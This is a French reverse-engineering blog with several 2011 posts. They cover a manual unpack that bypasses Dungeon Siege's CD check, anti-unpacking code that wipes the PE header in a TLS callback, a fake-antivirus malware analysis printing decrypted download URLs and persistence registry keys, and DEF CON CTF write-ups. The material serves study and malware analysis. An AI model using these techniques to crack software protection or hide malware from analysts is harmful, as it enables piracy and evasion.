16/07/2011

Dungeon Siege for the lulz

Introduction

Il y a bien longtemps avec un ami nous jouions à Dungeon Siege, un jeu de role/action développé par Gas Powered Games sorti le 7 mai 2002. Dans cette article je me suis penché sur le fait de me faire un no-cd et etre en mesure de parser leurs fichiers de sauvegarde multijoueur.

No-Cd

Première chose à faire, c'est de regarder si le binaire est packé :

dungeon_peid

Ici nous avons affaire avec un packer dont je ne connaissais pas l'existance, et en googelant, on tombe sur aucun tutorial pour pouvoir l'unpacker mais on va voir quand fait il n'y a rien de compliqué.
Quand on ouvre le binaire sous OllyDbg, on tombe sur la chose suivante :

007C0000 > /EB 10           JMP SHORT DSLOA.007C0012
007C0002   |0300            ADD EAX,DWORD PTR DS:[EAX]
007C0004   |0000            ADD BYTE PTR DS:[EAX],AL
007C0006   |0200            ADD AL,BYTE PTR DS:[EAX]
007C0008   |0000            ADD BYTE PTR DS:[EAX],AL
007C000A   |0000            ADD BYTE PTR DS:[EAX],AL
007C000C   |0000            ADD BYTE PTR DS:[EAX],AL
007C000E   |0000            ADD BYTE PTR DS:[EAX],AL
007C0010   |0000            ADD BYTE PTR DS:[EAX],AL
007C0012   \55              PUSH EBP
007C0013    E8 00000000     CALL DSLOA.007C0018
007C0018    5D              POP EBP
007C0019    81ED 18000000   SUB EBP,18

En voyant la chose suivante, on peut émettre l'hypothèse suivante :
Le packer fait un call à une routine qui vient s'occuper de decompresser l'éxecutable, puis jump ou ret sur le real entry point. Il nous suffit donc de step jusqu'au CALL, placer un hardware breakpoint sur l'acces à la valeur de ESP au moment de cette appel, et nous devrions arriver sur l'entry point.

dungeon_esp

On run le programme, et après s'etre mangé quelques exceptions dans la tronche que l'on repasse au programme, on arrive ici :

0040A39B      55            DB 55                                    ;  CHAR 'U'
0040A39C      8B            DB 8B
0040A39D      EC            DB EC
0040A39E      6A            DB 6A                                    ;  CHAR 'j'
0040A39F      FF            DB FF
0040A3A0      68            DB 68                                    ;  CHAR 'h'
0040A3A1      E8            DB E8
0040A3A2      96            DB 96
0040A3A3      72            DB 72                                    ;  CHAR 'r'
0040A3A4      00            DB 00
0040A3A5      68            DB 68                                    ;  CHAR 'h'

On analyse le code, et on voit la mise en place d'une SEH, un appel à kernel32!GetVersion, GetCommandLineA, ca a l'air de ressembler à notre real OEP. On dump donc notre processus, et on reconstruit l'IAT avec ImportRec :

dungeon_dump
dungeon_imp

En fait à partir de là le no-cd est deja fait, car ces boulets cré un processus qui va etre chargé de vérifier si le cd est bien dans le lecteur, si oui on continue la décompression et on lance le jeu, sinon on ExitProcess.
En fait on bypass cette vérification en unpackant à la main en ayant bien mis le cd original dans le lecteur cd et le tour est joué étant donné que la vérification n'aura plus lieu.

dungeon_process

I want to cheat

J'étais un peu sur ma faim après cette protection lame.
Je me suis donc mis en tete d'écrire un lecteur / unpacker pour les sauvegardes de types multijoueur (fichier .dsparty). Un logiciel fait deja bien le travail "TankViewer", mais malheuresement, source closed c'est moche.
Je décide donc de regarder d'un peu plus près avec un éditeur hexa :
dungeon_winhex1

dungeon_winhex2

La première image ressemble typiquement à un header de sauvegarde pour Dungeon Siege, j'ai meme entouré des offset plutot intéressants qu'on retrouve sur la deuxieme image, ou on peut voir le nom de 3 fichiers :

C'est en googelant des betises que j'ai réussi à tomber sur ce site, qui grace auquel j'ai tout dessuite compris comment était formé les fichiers de sauvegarde.
A partir de là j'étais en mesure de pouvoir ecrire un décodeur fonctionnel.
Il faut savoir que chacun des 3 fichiers est compressé avec zlib. D'ailleurs ca m'a fait pas mal chié de faire marcher cette daube avec MinGW. Je vais pas éterniser la chose et realease les sources : Reader.c, Reader.h.
Une fois les 3 fichiers récupérés, ils sont tres facile à comprendre ansi qu'à parser, voici un exemple.
On peut trés bien imaginer la suite, créer un éditeur complet de sauvegarde ( cheateur ? ), mais lister tous les objets ca relève de beaucoup de travail et je n'y vois pas vraiment d'amusement.
Voici quand meme un apercu de l'output de mon outil :

reader_preview

14/06/2011

Un OEP Finder pour escargot en C

Introduction

Je voulais m'amuser avec l'API de debug sous windows ( voir autre chose que ptrace() ).
J'ai donc décidé d'écrire un OEP finder pour le packer escargot.
Voici le cheminement de mon programme :

unpack_esc

Source

Voici les sources : main.c, main.h

Conclusion

Ce programme peut vous apprendre les subtilités des debug register, comment utiliser l'API de debug de Windows, et jouer avec le format PE.
Have fun.

14/06/2011

PECompact2 unpacking

Introduction

Dans la même lignée, il y avait du PECompact pendant la defcon.
Alors j'enchaine les vidéos :

Vidéo

Binaire

Voici le binaire en question pour pouvoir vous entrainer : calender.exe.

14/06/2011

tElock v0.98 unpacking

Introduction

C'est aprè la defcon 19 que je suis retombé, sur le packer tElock.
Mais cette fois j'ai décidé d'unpack la bête ( qui est toute bidon ).
Donc voici une vidéo que j'ai faite exprès pour vous présenter la chose :

Vidéo

Binaire

Voici le binaire en question pour pouvoir vous entrainer : calender.exe.

11/06/2011

Unpacking or not unpacking that is the question

Introduction

C'est en regardant l'analyse faite par Nicolas Brulez du Kaspersky Lab de gpcode, que je vois une technique de détéction d'unpacking d'UPX. Je décide de regarder de plus près et recréer le meme comportement ainsi qu'ajouter une autre technique en utilisant les TLS callback.

UPX

Avant de sauter sur le réel OEP, upx fait la chose suivante :

00418DBD   .  61            POPAD
00418DBE   .  8D4424 80     LEA EAX,DWORD PTR SS:[ESP-80]
00418DC2   >  6A 00         PUSH 0
00418DC4   .  39C4          CMP ESP,EAX
00418DC6   .^ 75 FA         JNZ SHORT test.00418DC2
00418DC8   .  83EC 80       SUB ESP,-80
00418DCB   .- E9 3082FEFF   JMP test.00401000

Du fait que eax soit égale à une valeur proche de la stack, on peut écrire le bout de code suivant pour détecter l'unpacking UPX :

.code
start:
call DetectUnpack
...
DetectUnpack:
push ebp
mov ebp, esp
mov ecx, esp
sub ecx, 078h    ; 80h - saved ebp (4 octets) - saved eip (4 octets)
jnz quit
leave
ret

A partir de ce snippet de code, la détection de ce check d'anti unpack est trè facilement bypassable, en changeant simplement le saut conditionnel.
Avec un peu d'obfuscation, on peut arriver à quelque chose de plus funky. Mais ce n'est pas le but de cette article.
Ce que font majoritairement le genre de personnes qui unpack du UPX, ils dumpent et reconstruisent l'IAT avec ImportRec ( ou à la main ).
C'est en jouant avec les TLS Callback que je me suis dit y'a moyen de faire retarder ce processus en venant écraser le PeHeader, ProcDump ( un plugin d'ollydbg ) se sert des sections tables pour fonctionner correctement. En lui enlevant ces informations il perd la boule.

unpack_bad_dos

TLS

Quand on lit la doc de Microsft, le Thread Local Storage (TLS) est un mécanisme qui permet à Windows de défininir des objets qui ne sont pas des objets sur la stack, des variables propres à chaque thread qui éxécute le code. Chaque thread pourra tenir à jour une variable qui lui sera propre. Ces informations sont dans le PEHeader.
Un développeur, si il le souhaite peut définir des TLS Callback fonctions, qui seront désignés à initialiser / nettoyer les objets.
En gros ces fonctions seront appelés avant l'entry point du programme.
Voici la structure :

;0x00    Raw Data Start VA       Starting address of the TLS template
;0x04    Raw Data End VA         Address of last byte of TLS template
;0x08    Address of Index        Location to receive the TLS index
;0x0C    Address of Callbacks    Pointer to array of TLS callbacks
;0x10    Size of Zero Fill       Size of unused data in TLS template
;0x14    Characteristics         (reserved but not checked)

A partir de là on peut commencer à coder un exemple de code masm :

TLS_CALLBACK	      PROTO :PVOID,:DWORD, :PVOID

TLS_DIRECTORY STRUCT
 lpTLS_Template_RDS		LPVOID ?
 lpTLS_Template_RDE		LPVOID ?
 lpTLS_Index		LPVOID ?	
 lpTLS_Callbacks_Array	LPVOID ?
 dwTLS_Filler_Size		DWORD ?
 dwCharacteristics		DWORD ?
TLS_DIRECTORY ENDS

.data
TLS_Directory TLS_DIRECTORY <NULL,NULL,OFFSET TLSIndex,OFFSET CallBacksArray, NULL,NULL>

CallBacksArray DD TLS_CALLBACK, NULL  
TLSIndex DWORD    NULL
MsgBoxCaption  db "...", 0
GoodText       db "MAIN", 0
TLSText     db "CALLBACK", 0

.code
start:
  invoke MessageBox, NULL, addr GoodText, addr MsgBoxCaption, MB_OK
  invoke ExitProcess, NULL
start:
;call DetectUnpack
invoke MessageBox, NULL, addr GoodText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL

TLS_CALLBACK PROC  DllHandle :PVOID, Reason :DWORD, dwReserved :PVOID
    invoke MessageBox, NULL, addr TLSText, addr MsgBoxCaption, MB_OK
    RET
TLS_CALLBACK ENDP	

end start

Et le make.bat qui va avec :

@echo off

if exist "first.obj" del "test.obj"
if exist "first.exe" del "test.exe"

\masm32\bin\ml /c /coff "test.asm"
if errorlevel 1 goto end

\masm32\bin\Link /SUBSYSTEM:WINDOWS "test.obj"
if errorlevel 1 goto end

:end
pause

Le problème que j'ai rencontré c'est que je ne savais pas quoi comment option passer au linker pour mettre en place dans le peheader la TLSTable.
De ce fait j'y suis allé à la main avec un éditeur Hexadécimal.
Ce qui est facile c'est qu'avec ce code la TLS Table se trouve juste à l'entrée de la section data.

unpack_winhex

On teste et ca marche, ca nous affiche bien 2 messages box d'affilé.
On va faire évoluer notre code pour eraser le pe header au moment de la TLS :

TLS_CALLBACK PROC  DllHandle :PVOID, Reason :DWORD, dwReserved :PVOID
   push 0 
   call GetModuleHandleA 
   push eax 
   push esp 
   push 4
   push 1 
   push eax 
   xchg edi, eax 
   call VirtualProtect 
   xor  ecx, ecx 
   mov  ch, 10h
   rep  stosb 
   leave
   ret
TLS_CALLBACK ENDP

On reéedite à la main notre binaire avec notre éditeur Héxadécimal. Et en breakant sur l'entry point, on va regarder que notre PeHeader s'est bien fait écraser :

unpack_peheader

Ca a l'air de plutot bien marcher. Bon il faut le savoir que si on conf bien ollydbg, on peut arriver à breaker dessus :

unpack_conf

Ou dans IDA, une fois le binaire chargé, pressez CTRL + E, en voyant l'adresse de l'entry point, les tls callback devrait etre juste avant :

unpack_ida

Bon maitenant la tache qui reste c'est essayer de refaire passer UPX par dessus le tout, quand on lit les changelog :

Changes in 3.06 (04 Sep 2010):
  * win32/pe: TLS callback support contributed by Stefan Widmann. Thanks!

On décide donc de tester, mais :( WTF, on se mange une vieille erreur :

unpack_upx

A partir de là j'étaits bloqué, je me demandais si j'essayais de patcher upx ou trouver un autre moyen. C'est en continuant de regarder mon binaire avec WinHex que me vient une idée, à cause du FileAlignement ( champ dans le PeHeader ), il y a un peu de place entre les sections et la premiere section du binaire ( dans notre exemple section .text ). Malheuresement il faudrait pour cela faire du call à LoadLibrary, GetProcAdress. Pour ca faudrait résousdre à la main toutes les entrées mais je ne l'ai pas encore fait pour l'instant par manque de temps : saison des partiels.
Toute facon prochainement, je vais me lancer dans l'écriture d'un packer je reprendrais surement de là pour expliquer ma démarche.
Sur ceux have fun.

10/06/2011

Vous reprendrez bien un peu de RE ?

Introduction

Après la defcon, j'avais de grosse envie de continuer à reverse des choses (en l'occurence des binaires win32), j'ai donc voulu alller sur le site crackmes.de, mais malheuresement le site est indisponible actuellement.
Je décide donc d'aller plus loin et me pencher sur un malware, chose que j'ai déjà faite mais sur un blog non-officiel.
Je vais donc comme à mes habitudes sur le site malwaredomainlist.com et visite un domaine foireux pour récupérer un sample.

Informations

Name : pusk.exe
MD5 (pusk.exe) = 76e6e91590b47eba7f13ed164c867999
SHA1 (pusk.exe) = 833312a8b90851e68b75dbb6f1532b64df1e15fa
SHA256 (pusk.exe) = b05df025e7833f99691b019f8ee4656858cc721daa052ba26085be0d0b49d7ef

Break it

Première chose à faire c'est regarder si l'éxécutable est packé, pour ca on sort Peid :

pusk_peid

Peid ne détecte rien, de plus la table d'IAT (Import Adress Table) bronche, tout du moins pas d'entrées vers GetProcAdress, LoadLibrary ...
Mais en regardant les strings présentes dans le binaire, on voit des "kernel32.dll", "ntdll.dll".
Je décide donc d'étudier le code de plu près avec le disas.
Je me rends compte qu'il decrypt un nouveau PE dans un zone alloué au préalable :

pusk_valid_pe

On sort lordPe et on va dump cette zone, et essayer de reconstruire le pe :

pusk_lordpe

Si on avait voulu travailler avec ce dump, il aurait fallu éditer pas mal de choses(PeHEader, Sections...), mais j'ai juste dump pour le faire manger à Peid et voir si il me détectait quelque chose : Non.

En regardant le code de plus près, on peut voir ceci : ( image avec commentaire )

pusk_virtual

On regarde le memory map :

pusk_before_after

Il a effectivement changee l'accés de pas mal de zone mémoire qui lui sont propres.

On peut émettre l'hypothèse qu'il va re-unpack quelque chose dans cette zone étant donné qu'il a memset tout à 0x00.
On regarde le code plus loin et on voit un jump :

00A4137C    83C4 28         ADD ESP,28
00A4137F    83C4 08         ADD ESP,8
00A41382  - FF25 1C309700   JMP DWORD PTR DS:[40301C]                ; pusk.006631D0
00A41388    33D2            XOR EDX,EDX
00A4138A  ^ 0F85 B7FEFFFF   JNZ 00A41247

Qui nous fait tomber sur :

pusk_push_ad

Hmm ca sauve tous nos registres (UPX Like ?), bah on descend dans le code et chercher un POPAD et un jmp :

pusk_pop_ad

Donc le real oep serait en "2634", de plus on voit des strings ASCII plutot intéressante :

"adw: start"
"adw: license self delete"
"adw: lang self delete"
"adw: install"

On va deja dump le process, fix l'IAT avec ImportRec et travailler sur ca ( je vais pas expliquer la tache, un paquet de tuto traite de ce sujet ).

Au tout dÉ le binaire va créer un thread pour la routine en 00602612 :

00602612    68 84966000     PUSH dump_.00609684              ; ASCII "adw: start def block thread"
00602617    E8 CA2B0000     CALL dump_.006051E6
0060261C    59              POP ECX
0060261D    68 6C966000     PUSH dump_.0060966C              ; UNICODE "MSASCui.exe"
00602622    E8 B1200000     CALL dump_.006046D8
00602627    68 D0070000     PUSH 7D0
0060262C    FF15 E0606000   CALL DWORD PTR DS:[<&kernel32.Sleep>]    ; kernel32.Sleep
00602632  ^ EB E9           JMP SHORT dump_.0060261D

pusk_thread

Ce pauvre thread va juste checker si le programme "MSACui.exe" fait partie de la liste des process (routine 6046d8), et sleep pendant 2000 millisecondes, puis reboucle, ansi de suite.

Pour l'instant je vais partir sur la routine adw: install, ou l'on peut remarquer des choses fun :

00601FDC  |.  50            PUSH EAX
00601FDD  |.  68 80886000   PUSH dump_.00608880                      ;  UNICODE "ElCo]N}BMG"
00601FE2  |.  E8 621E0000   CALL dump_.00603E49
00601FE7  |.  8D85 54FFFFFF LEA EAX,DWORD PTR SS:[EBP-AC]
00601FED  |.  68 18956000   PUSH dump_.00609518                      ; /S2 = ".exe"
00601FF2  |.  50            PUSH EAX                                 ; |S1
00601FF3  |.  FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>]   ; \StrCatW

La routine 00603e49 est une simple routine pour decrypt les chaines (XOR 4), jai donc récupéré toutes les chaines du binaires et écrit un script python :

dump_8080 = "ElCo]N}BMG"

unknow = ["WkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXTkhmgmawXW}wpai", "*a|a",
          "lppt>++!w+!w+!w)`mvagp",
          "E`kfa[Bhewl[The}av*a|a","T5oEhImC6Of3B~T1pI5UFM2@WW=6g75Etcno=hRO",
          "ghmgokh`*kvc?waevglfvae`*kvc", "Wkbpseva",
          "<7e1b<7f)1ee3)0be3)ffb1)27<6=e``6=2a",
          ".A@W*p|p", "Vjcqrdw`YHlfwjvjcqYLkq`wk`q%@}uijw`wYAjrkijda",
          "Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDqqdfmh`kqv",
          "Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYUjilfl`vYDvvjfldqljkv",
          "*~mt?*vev?*jbk?*p|p?*a|a?*fep?*gki?*gi`?*vac?*iwm?*lpi?*lpih?*cmb?*fit?*ntc?*erm?*itc?*itac?*ikr?*it",
          "Fm`fn@}`Vlbkdqpw`v", "Vds`_jk`Lkcjwhdqljk", "IjrWlvnCli`Q|u`v",
          "lppt>++!w+040*tlt;p}ta9wpepw", "ebbm`9!w""wqfm`9!w""esko",
          "waevglehmoa*kvc?ghmgonegowkjrmhha*kvc?waevglepikwtlava*kvc?waevglfacej*kvc?waevglejp*kvc",
          "E`kfa[Bhewl[The}av*a|a",
          "<2a<e0=1)713g)073g)f2a=)57a313fbefef",
          "31be7<f3)<f=0)0==1)e`76)16a=7<<23=10",
          "`g52af7g)a4b2)002b)<`63)=56615b<a2`e"]


def decrypt(ch):
    name = ""
    for c in ch:
        name += chr(ord(c) ^ 4)
    print "Name = " + name
        


decrypt(dump_8080)
for val in unknow:
    decrypt(val)

Voici l'output :

Name = AhGkYJyFIC
Name = Software\Microsoft\Windows\CurrentVersion\Policies\System
Name = .exe
Name = http://%s/%s/%s-direct
Name = Adobe_Flash_Player.exe
Name = P1kAlMiG2Kb7FzP5tM1QBI6DSS92c31Apgjk9lVK
Name = clickold.org;searchbread.org
Name = Software
Name = 83a5f83b-5aa7-4fa7-bbf5-63829add296e
Name = *EDS.txt
Name = Rnguv`sd]Lhbsnrngu]Houdsodu!Dyqmnsds]Envomn`e
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@uu`bildour
Name = Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Qnmhbhdr]@rrnbh`uhnor
Name = .zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp
Name = BidbjDydRhfo`utsdr
Name = R`wd[nodHognsl`uhno
Name = MnvShrjGhmdUxqdr
Name = http://%s/404.php?type=stats
Name = affid=%ssubid=%sawok
Name = searchalike.org;clickjacksonville.org;searchatmosphere.org;searchbegan.org;searchant.org
Name = Adobe_Flash_Player.exe
Name = 86e8a495-357c-437c-b6e9-13e757bfabab
Name = 75fa38b7-8b94-4995-ad32-52e938867954
Name = dc16eb3c-e0f6-446f-8d27-912251f8e6da

On peut y voir en premier le nom de l'éxecutable qui va étre crée, des noms de domaines, une clef de registre, des urls ... etc.
Next :
La routine en 0060485C va simplement disable le task_manager, stack call de advapi32.RegSetValueExW

pusk_disable_task.png

On regarde aussi la routine de crétion ( plutot recopie ) car c'est exactement le meme binaire qui est copiée : ( disas commenté)

00602157  |.  FF15 84616000 CALL DWORD PTR DS:[<&shell32.SHGetSpecialFol>;  shell32.SHGetSpecialFolderPathW
0060215D  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602163  |.  50            PUSH EAX                                     ; /\Path = "C:\Documents and Settings\All Users\Application Data"
00602164  |.  FF15 A8616000 CALL DWORD PTR DS:[<&shlwapi.PathAddBackslas>; \PathAddBackslashW
0060216A  |.  8D85 54FFFFFF LEA EAX,DWORD PTR SS:[EBP-AC]
00602170  |.  50            PUSH EAX                                     ; /S2 = "AhGkYJyFIC.exe"
00602171  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]               ; |
00602177  |.  50            PUSH EAX                                     ; |S1 = "C:\Documents and Settings\All Users\Application Data\"
00602178  |.  FF15 A4616000 CALL DWORD PTR DS:[<&shlwapi.StrCatW>]       ; \StrCatW
0060217E  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]
00602184  |.  56            PUSH ESI                                     ; /FailIfExists = FALSE
00602185  |.  50            PUSH EAX                                     ; |NewFileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
00602186  |.  8D85 D0FAFFFF LEA EAX,DWORD PTR SS:[EBP-530]               ; |
0060218C  |.  50            PUSH EAX                                     ; |ExistingFileName = "C:\Documents and Settings\analys\My Documents\T",E9,"l",E9,"chargements\pusk\dump_.exe"
0060218D  |.  FF15 E8606000 CALL DWORD PTR DS:[<&kernel32.CopyFileW>]    ; \CopyFileW
00602193  |.  6A 05         PUSH 5                                       ; /IsShown = 5
00602195  |.  56            PUSH ESI                                     ; |DefDir = NULL
00602196  |.  8D85 D8FCFFFF LEA EAX,DWORD PTR SS:[EBP-328]               ; |
0060219C  |.  56            PUSH ESI                                     ; |Parameters = NULL
0060219D  |.  50            PUSH EAX                                     ; |FileName = "C:\Documents and Settings\All Users\Application Data\AhGkYJyFIC.exe"
0060219E  |.  68 78946000   PUSH dump_.00609478                          ; |Operation = "open"
006021A3  |.  56            PUSH ESI                                     ; |hWnd = NULL
006021A4      90            NOP                                          ; \ShellExecuteW

J'ai NOP le call à ShellExecute afin de pouvoir continuer à analyser le binaire.
Car plus loin il va ajouter une valeur dans la RegKey : Software\Microsoft\Windows\CurrentVersion\Run :

0012C6E4   80000001  |hKey = HKEY_CURRENT_USER
0012C6E8   0012C718  |Subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
0012C6EC   0012C6FC  \pHandle = 0012C6FC


0012C6D8   00000060  |hKey = 60
0012C6DC   0012CF74  |ValueName = "AhGkYJyFIC"
0012C6E0   00000000  |Reserved = 0
0012C6E4   00000001  |ValueType = REG_SZ
0012C6E8   0012E22C  |Buffer = 0012E22C
0012C6EC   00000086  \BufSize = 86 (134.)

Ce qui m'interessait de voir surtout après c'était la routine "adw download rootkit", mais malheuresement elle failed :(.
L'URL :

http://searchbread.org/pica1/531-direct

Les domaines ne répondent pas c'est dommage. Pareil pour la routine "adw download exe"...
On continue et on aboutit donc sur la routine "self delete" :

00602707  |> \68 08986000   PUSH dump_.00609808                                         ;  ASCII "adw: self delete"
0060270C  |.  E8 D52A0000   CALL dump_.006051E6
00602711  |.  59            POP ECX
00602712  |.  E8 7F2B0000   CALL dump_.00605296
00602717  |.  E9 D7010000   JMP dump_.006028F3

La routine 605296 delete le fichier et ensuite ExitProcess tout le code qui suit est obsolète.

Bon maitenant on peut bosser sur l'autre binaire.

AhGkYJyFIC.exe

MD5 (AhGkYJyFIC.exe) = 865ea9c1a3fbd1f089749951004b39aa
SHA1 (AhGkYJyFIC.exe) = 9162235f005d7b256d9034201799cdeb9731c14f
SHA256 (AhGkYJyFIC.exe) = 2c7cf2452d1a3f37a9985e7dfdbe2b349e2d5ee4755f5f14460279855c6d882e

On peut remarquer que nous n'avons pas la meme empreinte qu'au départ avec "pusk.exe".
L'unpacking se passe exactement de la meme maniere que pour le précédent binaire.
J'ai omis une chose lors de ma première analyse, une routine qui teste si son nom de process est "AhGkYJyFIC.exe" si c'est le cas on part sur la routine "adw: work"

006026AF  |> \E8 07FBFFFF   CALL dump_.006021BB
006026B4  |.  85C0          TEST EAX,EAX
006026B6  |.  75 64         JNZ SHORT dump_.0060271C
.....
0060271C  |> \68 FC976000   PUSH dump_.006097FC                      ;  ASCII "adw: work"

Dans le disas on voit plusieurs call à CreateThread, 2 routines sont importantes à voir :

006022AF

Crétion d'un fichier temporaire extrait des ressources :

pusk_14081828

On étudiera ce fichier aprés, c'est le fakeAV :]

00603785

Utilisation de l'éxecutable attrib.exe (man page) sur chacun des fichiers du disque dur, afin de les rendre tous "caché".
Et le pourquoi c'est que le programme en lui meme va modifier des clefs de registre qui changeront la visibilité de chacun des fichiers :
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" -> "CheckedValue" -> "0".

14081828.exe

Voici le fakeAV que nous attendions tant :

pusk_fakeav

En fait à partir de là, la partie est gagné en faisant un simple strings sur le binaire on trouvait la clef pour se register.

pusk_register

Une fois le logiciel register, ca va restaurer comme il faut les clefs de registre, le wallpaper, et rapeller attribute.exe sur tous les fichiers du disque.
Et ouvrir notepad avec le message suivant :

Thank you for your purchase, Windows XP Recovery!
Your activation code: 8475082234984902023718742058948
EDS URL: http://www.edsawake.org/customers/dl/Recovery.exe
Contact us through Help&Support section in the Windows XP Recovery menu or by phone +1.877.2820139

Voilà c'est la fin de cette article sur une occupation lorsque crackmes.de n'est pas disponible.

07/06/2011

Defcon 19 b400 writeup

Hint

Retrive the key

Résolution

Pour commencer on va ouvrir le fichier avec PEiD, qui nous détecte :

tElock 0.98b1 -> tE!

tElock

Pour ce type de packer, il va falloir configurer correctement notre Ollydbg, aucune exception ne doit etre passé au programme :

b400_olly_config

Aprè avoir laissé olly chargé le processus, nous sommes actuellemt à l'entry point :

00438BD6 >^E9 25E4FFFF      JMP b400_e32.00437000

Lancez le programme avec F9. Puis enchainez les excpetions avec SHIT + F9.
On va compter combien de fois olly break ( ici 20 fois ), apres qu'une exception est était levé, voir le listing ci - dessous :

Afin de trouver l'OEP, on va breaker sur le dernier JNB, 19 ième combinaison de SHITF + F9.
A partir de là, on appuie sur ALT + M ( on ouvre le memory map ) et on va set un breakpoint d'accés mémoire sur la section de code :

b400_memory_map

Une fois le breakpoint set, SHIT + F9 et on tombe ici :

0042A000     B8             DB B8
0042A001     30             DB 30                                    ;  CHAR '0'
0042A002     5C             DB 5C                                    ;  CHAR '\'
0042A003     43             DB 43                                    ;  CHAR 'C'
0042A004     00             DB 00
0042A005     50             DB 50                                    ;  CHAR 'P'
0042A006     64             DB 64                                    ;  CHAR 'd'
0042A007     FF             DB FF
0042A008     35             DB 35                                    ;  CHAR '5'
0042A009     00             DB 00
0042A00A     00             DB 00
0042A00B     00             DB 00
0042A00C     00             DB 00
0042A00D     64             DB 64                                    ;  CHAR 'd'
0042A00E     89             DB 89
0042A00F     25             DB 25                                    ;  CHAR '%'
0042A010     00             DB 00
0042A011     00             DB 00
0042A012     00             DB 00
0042A013     00             DB 00
0042A014     33             DB 33                                    ;  CHAR '3'
0042A015     C0             DB C0
0042A016     89             DB 89
0042A017     08             DB 08
0042A018     50             DB 50                                    ;  CHAR 'P'
0042A019     45             DB 45                                    ;  CHAR 'E'
0042A01A     43             DB 43                                    ;  CHAR 'C'
0042A01B     6F             DB 6F                                    ;  CHAR 'o'
0042A01C     6D             DB 6D                                    ;  CHAR 'm'
0042A01D     70             DB 70                                    ;  CHAR 'p'
0042A01E     61             DB 61                                    ;  CHAR 'a'
0042A01F     63             DB 63                                    ;  CHAR 'c'
0042A020     74             DB 74                                    ;  CHAR 't'
0042A021     32             DB 32                                    ;  CHAR '2'

On tombe ici sur le réel OEP du packer tElock : "0042A000".
Je n'ai pour l'instant pas analysé le code car on voit quelque chose d'intéressant, un nouveau packer apparament "PECOMPACT2".
Donc rien ne sert de se précipiter à dump le process et reconsruire l'IAT.
Continuons sur notre lancé et jouons avec PeCompact.

PeCompact

J'ai dumpé le process à partir de ce moment et vérifié avec PEiD :

PECompact V2.X-> Bitsum Technologies   * Sign.By.fly *

Si on analyse (CTRL + A) le code vu au dessus, on voit une anti-debug tricks :

0042A000   B8 305C4300      MOV EAX,b400_e32.00435C30    ; Mise en place 
0042A005   50               PUSH EAX                     ; SEH Handler
0042A006   64:FF35 00000000 PUSH DWORD PTR FS:[0]
0042A00D   64:8925 00000000 MOV DWORD PTR FS:[0],ESP
0042A014   33C0             XOR EAX,EAX                  ; Creation d'une
0042A016   8908             MOV DWORD PTR DS:[EAX],ECX   ; PageFault

Un apercu de la fenetre de l'état de la stack, pour confirmer :

b400_seh_handler

Pour bypass cette tricks, il suffit d'aller poser un breakpoint en 00435C30.
Run le programme jusqu'à l'access violation.
Pressez SHIFT + F9 pour passer l'exception au programme.

En "00426016" la meme tricks est présente, on regarde le seh handler : "00430C30", et on va poser notre breakpoint, et SHIFT + F9.

A partir de là, on step over...step over...step over... jusqu'à :

00430CF2   FFE0             JMP EAX

Qui va nous faire arriver sur un PUSHAD :

0042E1E0   . 60             PUSHAD

Ici apparament c'est le réel entry point du packer PeCompact.
Mais comme précedement, continuons l'analyse.
A partir de ce moment, je me dis tiens peut etre de l'UPX derriere, je descends dans le disas :

0042E35D   . 61             POPAD
0042E35E   . 8D4424 80      LEA EAX,DWORD PTR SS:[ESP-80]
0042E362   > 6A 00          PUSH 0
0042E364   . 39C4           CMP ESP,EAX
0042E366   .^75 FA          JNZ SHORT b400_e32.0042E362
0042E368   . 83EC 80        SUB ESP,-80
0042E36B   .-E9 F031FDFF    JMP b400_e32.00401560

Je pose un breakpoint sur le JMP.
Apres tout ca j'etais perdu, je savais plus trop ou j'allais, le programme m'affichait "hello world".
Et il avait l'air de decrypt encore pas mal de merde dans la section code et data.
Je décide donc de regarder de plus près tout ce qu'il a pu decrypt, je voyais des chaines PE passer, ca m'avait l'air d'etre un semblant de pe header mais malheuresement non.
Pas du tout ou alors je m'y prenais mal car je recuperais le ms dos header du bin orignal afin de reconstruire un nouveau pe.
Bref a force de tourner en rond, j'ai grep sur tout le dump et là la clef est sortie :

> strings dump3.exe | grep PE
HowCanThisPossiblyBeAValidPEFile?
PEC2^O
gEPEI

Key

HowCanThisPossiblyBeAValidPEFile?

06/06/2011

Defcon 19 f400 writeup

Hint

Can you beleive people do this? ddTEK doesn't. (http://pwn32.ddtek.biz/)

Résolution

Si on allait sur la page en question avec un user agent différent d'un iphone / ipod, on se faisait jeter sur la page faq.html. Afin d'étudier la page il fallait simplement rentrer dans l'url le keyword "faq"

http://pwn32.ddtek.biz/?suce_mes_couilles=faq

A partir de là, on pouvait étudier les sources comme on voulait. Un wget aurait suffit aussi. On voit que la page request un pdf :

http://pwn32.ddtek.biz/_/iPhone2,1_3.1.2.pdf

Donc on va étudier le pdf en question avec un outil pdf-parser.py.
On peut remarquer que l'objet 13 contient du stream, on décide donc de l'extraire.

python2 pdf-parser.py -o 13 --raw --filter iPhone2,1_3.1.2.pdf > bin

Quand on regarde l'output de cette objet avec la commande string, on a l'impression que c'est une application iphone.
Mais là une chaine nous saute aux yeux :

http://pwn32.ddtek.biz/wad.bin

Une fois ce fichier récupéré, on teste la commande file et se rend compte que ce ne sont que des datas.
Mais on peut voir une archive 7z à l'offset 0x1b521 :

hexdump -C wad.bin | grep -i 7zx
0001b520  01 82 a1 9c ec fd 37 7a  58 5a 00 00 04 e6 d6 b4  |......7zXZ......|

On va extraire donc l'archive :

dd if=./wad.bin skip=111905 of=./wad.xz bs=1 count=3797368

